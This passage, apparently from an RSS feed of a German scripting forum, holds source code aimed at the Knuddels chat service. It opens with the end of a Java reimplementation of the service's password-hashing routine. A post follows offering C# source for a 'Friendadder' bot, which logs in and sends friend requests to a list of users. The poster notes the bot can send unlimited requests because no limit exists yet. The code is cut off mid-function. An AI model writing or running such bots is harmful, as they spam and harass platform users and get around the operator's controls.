&nbsp; &nbsp; &nbsp; &nbsp; int bufferLength = keyLength &gt; strLength ? keyLength : strLength;<br />
&nbsp; &nbsp; &nbsp; &nbsp; StringBuilder buffer = new StringBuilder(bufferLength);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; bufferLength; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.append((char) (str.charAt(i % strLength) ^ key.charAt(i % keyLength) ^ k));<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return buffer.toString();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private static int hash(String str) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int j = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int strLength = str.length();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (strLength &lt; 19) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int n = strLength - 1; n &gt;= 0; n--) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i = i * 3 + str.charAt(n);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j = j * 5 + str.charAt(strLength - n - 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int m = strLength / 19;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int n = strLength - 1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (n &gt;= 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i = i * 5 + str.charAt(n);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j = j * 3 + str.charAt(strLength - n - 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n -= m;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; int k = i ^ j;<br />
&nbsp; &nbsp; &nbsp; &nbsp; return k &amp; 0xFFFFFF ^ k &gt;&gt; 24;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private static int toInt(String str) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i1 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i2 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i3 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i4 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i5 = str.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; while (i4 &lt; i5) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i2 = i2 * ((i3 &amp; 0x3) != 3 ? 5 : 3) + str.charAt(i5 - i4 - 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i3 = i1 ^ i2;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 = i1 * ((i3 &amp; 0x4) == 0 ? 3 : 7) + str.charAt(i4 * 43973 % i5);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i4++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; return i3 &gt;&gt;&gt; 26 ^ (i2 ^ i1) &amp; 0x3FFFFFF;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; public static int hashPassword(String password, String key) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; key = encrypt1(key, &quot;PVobnFeSCkn&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i = key.length() / 2;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; i = (i * i + i + 10) % key.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; i = (i * i + i + 12) % key.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; i = i * 37 % key.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if (i == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i = key.length() / 2;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; key = encrypt1(key.substring(i), &quot;aW&quot;) + key.substring(0, i);<br />
&nbsp; &nbsp; &nbsp; &nbsp; i = toInt(key) % key.length();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; i = (i * i + i + 19) % key.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; key = encrypt1(new StringBuilder().append(toInt(key.substring(0, i)) * toInt(key.substring(0, i))).toString(), key.substring(i)) + encrypt1(new StringBuilder().append(toInt(key.substring(i)) * toInt(key.substring(i))).append(885800044).toString(), key.substring(0, i));<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; return hash(encrypt2(password, key));<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div>
</div>
</div>
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Resident</dc:creator>
			<guid isPermaLink="true">sourcecode-91/v9-0ake-passwort-kodierung-32251</guid>
		</item>
		<item>
			<title>Friendadder</title>
			<link>sourcecode-91/friendadder-30175?goto=newpost</link>
			<pubDate>Sat, 18 Feb 2012 16:33:20 GMT</pubDate>
			<description>War die Idee von Sky.NET und ich habs schnell umgesetzt. Sendet x-Beliebige Freundschaftsanfragen. 
Da Knuddels hier *noch *kein Limit festgesetzt...</description>
			<content:encoded><![CDATA[<div>War die Idee von Sky.NET und ich habs schnell umgesetzt. Sendet x-Beliebige Freundschaftsanfragen.<br />
Da Knuddels hier <b>noch </b>kein Limit festgesetzt hat, kann man unendlich viele Freundschaftsanfragen versenden.<br />
<br />
<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<i>C# Source</i> <input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">/*<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__.&nbsp;&nbsp;_________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;|/&nbsp;_|&nbsp;/&nbsp;&nbsp;&nbsp;_____/&nbsp;___________|__|______/&nbsp;&nbsp;|_&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;&nbsp;&nbsp;\_____&nbsp;&nbsp;\_/&nbsp;___\_&nbsp;&nbsp;__&nbsp;\&nbsp;&nbsp;\____&nbsp;\&nbsp;&nbsp;&nbsp;__\<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;\/&nbsp;&nbsp;|&nbsp;&nbsp;|_&gt;&nbsp;&gt;&nbsp;&nbsp;|&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|____|__&nbsp;\/_______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;|__|&nbsp;&nbsp;&nbsp;__/|__|&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Friendadder&nbsp;-&nbsp;Knuddels&nbsp;Whois&nbsp;2.0<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;©&nbsp;The&nbsp;Don&nbsp;of&nbsp;NYC<br />&nbsp;*/<br /><br /></span><span style="color: #0000BB">using&nbsp;KNLib</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Threading</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Friendadder<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">Program<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">KSClient&nbsp;KSC&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;List&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">friends&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;Nickname</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Passwort</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;Main</span><span style="color: #007700">(</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Title&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Friendadder&nbsp;&#91;VISIT&nbsp;K-SCRIPT.CC&#93;"</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"Nickname:&nbsp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Nickname&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"Passwort:&nbsp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Passwort&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"Channel:&nbsp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Channel&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">friends&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;(</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadAllLines</span><span style="color: #007700">(</span><span style="color: #DD0000">"friends.txt"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Encoding</span><span style="color: #007700">.Default));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">(</span><span style="color: #0000BB">Login</span><span style="color: #007700">).</span><span style="color: #0000BB">Start</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//&nbsp;Loginvorgang&nbsp;in&nbsp;einem&nbsp;neuen&nbsp;Thread&nbsp;ausführen&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;Login</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Applet</span><span style="color: #007700">(</span><span style="color: #DD0000">"applet.jar"</span><span style="color: #007700">));&nbsp;</span><span style="color: #FF8000">//&nbsp;Neue&nbsp;KS&nbsp;Client&nbsp;Klasse&nbsp;initialisieren&nbsp;mit&nbsp;angegeben&nbsp;Pfad&nbsp;für&nbsp;das&nbsp;Applet<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">OnTokenReceived&nbsp;</span><span style="color: #007700">+=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">.</span><span style="color: #0000BB">ReceivedHandler</span><span style="color: #007700">(</span><span style="color: #0000BB">KSC_OnTokenReceived</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">Connect</span><span style="color: #007700">(</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">DE</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">Login</span><span style="color: #007700">(</span><span style="color: #0000BB">Nickname</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Passwort</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;KSC_OnTokenReceived</span><span style="color: #007700">(</span><span style="color: #0000BB">KSClient&nbsp;KSC</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;packet</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">White</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">token&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\0'</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"u"</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Green</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Eingeloggt"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;neuen&nbsp;Thread&nbsp;starten,&nbsp;wo&nbsp;wir&nbsp;die&nbsp;Liste&nbsp;abarbeiten&nbsp;mit&nbsp;den&nbsp;Usern,&nbsp;denen&nbsp;wir&nbsp;eine&nbsp;Freundschaftseinladung&nbsp;schicken&nbsp;wollen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">new&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">(</span><span style="color: #0000BB">AddFriends</span><span style="color: #007700">).</span><span style="color: #0000BB">Start</span><span style="color: #007700">();&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"k"</span><span style="color: #007700">:<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"Freundschaftsanfrageõs"</span><span style="color: #007700">))&nbsp;</span><span style="color: #FF8000">//&nbsp;wenn&nbsp;sich&nbsp;das&nbsp;Popup&nbsp;öffnet,&nbsp;wo&nbsp;wir&nbsp;die&nbsp;Nachricht&nbsp;für&nbsp;die&nbsp;Freundschaftseinladung&nbsp;eingeben&nbsp;können<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;lesen&nbsp;wir&nbsp;den&nbsp;Usernamen&nbsp;aus<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;User&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #DD0000">"°15B°_°&gt;_h"&nbsp;</span><span style="color: #007700">},&nbsp;</span><span style="color: #0000BB">StringSplitOptions</span><span style="color: #007700">.</span><span style="color: #0000BB">RemoveEmptyEntries</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'|'</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;lesen&nbsp;die&nbsp;ID&nbsp;aus,&nbsp;denn&nbsp;diese&nbsp;brauchen&nbsp;wir&nbsp;um&nbsp;die&nbsp;Anfrage&nbsp;zu&nbsp;bestätigen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;ID&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #DD0000">"{textfield}"&nbsp;</span><span style="color: #007700">},&nbsp;</span><span style="color: #0000BB">StringSplitOptions</span><span style="color: #007700">.</span><span style="color: #0000BB">RemoveEmptyEntries</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'|'</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;&nbsp;&nbsp;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;und&nbsp;zuletzt&nbsp;senden&nbsp;wir&nbsp;diese&nbsp;Anfrage&nbsp;ab&nbsp;und&nbsp;erhalten&nbsp;dann&nbsp;ein&nbsp;Popup&nbsp;mit&nbsp;der&nbsp;Bestätigung,&nbsp;dass&nbsp;diese&nbsp;Anfrage&nbsp;erfolgreich&nbsp;war<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SendRequest</span><span style="color: #007700">(</span><span style="color: #0000BB">User</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ID</span><span style="color: #007700">);<br 